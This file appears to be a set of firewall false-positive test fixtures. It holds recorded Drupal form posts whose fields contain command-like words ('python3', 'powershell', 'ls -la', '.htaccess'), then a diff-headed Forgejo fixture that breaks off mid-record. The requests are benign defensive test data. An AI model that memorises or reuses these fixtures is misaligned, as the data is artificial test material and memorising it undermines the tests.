{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-5F3fqn6-aOxkyrQTgkFt9ZtfP3Ix-3gJ94t-_ZxMfT8&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-a6fa_5ka4mxKF80GbK2KU-fFVk6YK_XMB-Baww5X2Mk&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254830&form_build_id=form-td_F60IruKhzivNlc_dSiZNoKkTqMsj6s3fEe0Lzg7c&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=powershell%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-FMTNk8Qw4CcnF2U2FNeC1y2ubUAWj4ZqTNt5qo4BdcA&form_id=comment_comment_form&name=Visitor&mail=powershell%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-dN1wEgo96PQAeyS6hMficsot94rVav-FiCh3v8BMjSU&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yVUzK5fZVL6jXlfP3oAKsnObRPklHaXJoauKtJIHmtU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-84jyppK6d-aAyIvGJa7kaD4noEcfMs7RehTSdz4g9EU&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-3J5iR3r69AeW5RRi7RAx282fj3VU6h2J4PR6fP1YG5Q&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254831&form_build_id=form-yZIqKDuxmTpDq6CZIqWd8lBuwB_iNnCE2_TIn2TM-ME&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=ls--la%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-4zQ6mnIGEbsODUSaNqxYs--JXApqfXwTdt-VWSfbkTY&form_id=comment_comment_form&name=Visitor&mail=ls--la%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TGTkV0e75D04o_e7Alk-EDJwtT6xg8vwAuewAeO0slI&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-g_jcUYiAO5qPeIzkdy4NL2wYOm1QSCLNTo4lWHyHeQc&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-FtmG7RAUBVZD0DWSIEQLzHVohhCrTZP4KE9v1XZcvHc&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GCvKEgdFSLrzi6u3mm9ubynaYpMehuF5BgJowsJqqzQ&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254832&form_build_id=form-Mpy8lMgtarQcYuq-z3AIsA18G7GRmL90SxJ8sikBeGw&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=.htaccess%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-iQ-V_uMEqMD15H7SP4KXcSTRaeDo-GxWR364dg8OVnM&form_id=comment_comment_form&name=Visitor&mail=.htaccess%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-1QV5rhM_GiS-l8JbBv2oD6Vbj2aWbjbakI_hPZmwX8U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-TQp9Y5AoKo7vgOjxbDPLFi6UWKCEwsDCZDAtCLyt0K0&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QfBJ5oB-NllXlisHvYwgw2D26OFMUStRL1hKwmZneIM&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-FvjNNJPW2G39UepkPOrBE4XhDxW0VM0tCaSOvishHlc&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254833&form_build_id=form-oGR9MfKKuJplXwsXerWc-4BgBTZ2hybTAhoNrJy-MYE&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
@@ -0,0 +1,41 @@
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
# the Core Rule Set must let through while it reads bodies. They were recorded
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
# API. Each line is one request as JSON. Names, cookies and tokens are
# invented. The browser's User-Agent is an ordinary Chrome's.
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": 